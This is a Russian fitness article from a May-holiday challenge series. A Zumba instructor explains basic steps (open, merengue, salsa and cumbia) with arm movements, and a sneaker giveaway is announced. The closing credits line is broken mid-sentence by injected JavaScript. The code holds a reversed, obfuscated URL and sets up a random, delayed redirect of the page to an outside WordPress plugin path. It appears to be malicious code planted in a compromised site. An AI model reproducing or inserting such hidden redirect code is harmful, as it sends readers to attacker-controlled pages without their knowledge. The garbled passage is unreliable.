Сертифицированный инструктор по ZUMBA и тренер фитнес-студии FIT4EVER Сергей Ляликов показывает упражнения, которые помогут не только укрепить мышцы, но и улучшить настроение. Включайте танцевальную музыку — тренировка начинается!
Мы составили программу из 11 разнонаправленных тренировок — по одной на каждый день майских каникул. Занимайтесь вместе с нами, выкладывайте фото и видео ваших тренировок в инстаграм с тегом #майскийCHALLENGEr и отметкой нашего аккаунта @the_challenger.ru — и получите шанс выиграть новые кроссовки Nano X от Reebok. Подробности тут.
Сергей Ляликов
сертифицированный инструктор по ZUMBA и тренер фитнес-студии FIT4EVER
— Занятие Zumba Fitness обычно длится 55 минут и спланировано таким образом, чтобы тренировка оказалась продуктивной. Но вы спокойно можете взять несколько движений из зумбы и выполнить их под ваш любимый трек в любое удобное время: и утром в качестве зарядки, и днём, во время перерыва на работе.
В этом комплексе — базовые движения, которые используются в зумбе. Динамичная тренировка будет особенно полезна для тех, кто ведёт малоподвижный образ жизни, подвержен стрессам или чья работа заключается в умственном труде. Просто повторяйте движения под музыку, пробуйте, экпериментируйте, собирайте свои вариации, как конструктор LEGO.
Open step + движения руками
Анимация: Кирилл Ском
- Для начала освойте open step, или «открытый шаг» — одно из базовых движений зумбы. Широко расставив ноги, переносите вес тела с одной стопы на другую. При этом ту стопу, которая не является опорной, ставьте на носок.
- Подключите руки. Выполняйте динамичные движения: попеременно выпрямляйте руки в стороны — как будто отталкиваетесь от стены; теперь выполняйте то же движение, только двумя руками.
- Поочерёдно сгибайте руки — как будто показываете окружающим, какой сильный у вас бицепс; выполните то же движение, но уже двумя руками. Следуйте ритму музыки!
Merengue step + движения руками
Анимация: Кирилл Ском
- Меренга — ещё одно базовое движение — выполняется так: мягко переступайте с ноги на ногу, одновременно включайте в движение бёдра.
- Добавьте движения рук: попеременно сгибайте и выпрямляйте правую и левую руку. Пальцы старайтесь держать вместе. Динамичнее!
Salsa step + движения руками
Анимация: Кирилл Ском
- Встаньте ровно, ноги слегка расставлены. Мысленно нарисуйте перед собой точку. Делайте шаги назад то правой, то левой ногой, слегка приседая и сгибая ноги и одновременно поворачивая корпус. Каждый раз возвращайтесь в исходную точку.
- Освоив шаги, подключайте к движению руки. В исходной точке поднимайте руку, во время шага назад — сгибайте и опускайте руку. Во время шага назад правой ногой работает правая рука, во время шага назад левой ногой работает левая рука.
Сumbia step + движения руками
Анимация: Кирилл Ском
- Правой ногой сделайте два шага вперёд и одновременно в сторону. Ноги согнуты, стопы «пружинят».
- Согнутые руки перемещайте ближе к себе — как будто передвигаете стоящий рядом предмет.
- Сделайте четыре маленьких шага назад, переступая со стопы на стопу. Руки при этом вытянуты вдоль тела и согнуты в кистях. Двигайтесь в такт музыке.
Сumbia step с разворотом + движения руками
Анимация: Кирилл Ском
- Сделайте четыре небольших шага влево. Ноги слегка согнуты, стопы «пружинят». Носок левой ноги развёрнут влево, колено правой ноги также развёрнуто влево. Руки разведены, кисти развёрнуты вверх.
- Выполните разворот. Кисти рук сожмите в кулаки. Левая рука поднимается. Правая опускается.
- Повторите то же самое в другую сторону.
Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит сотрудников фитнес-студии FIT4EVER за помощь в организации и проведении съёмки.
Статьи по теме
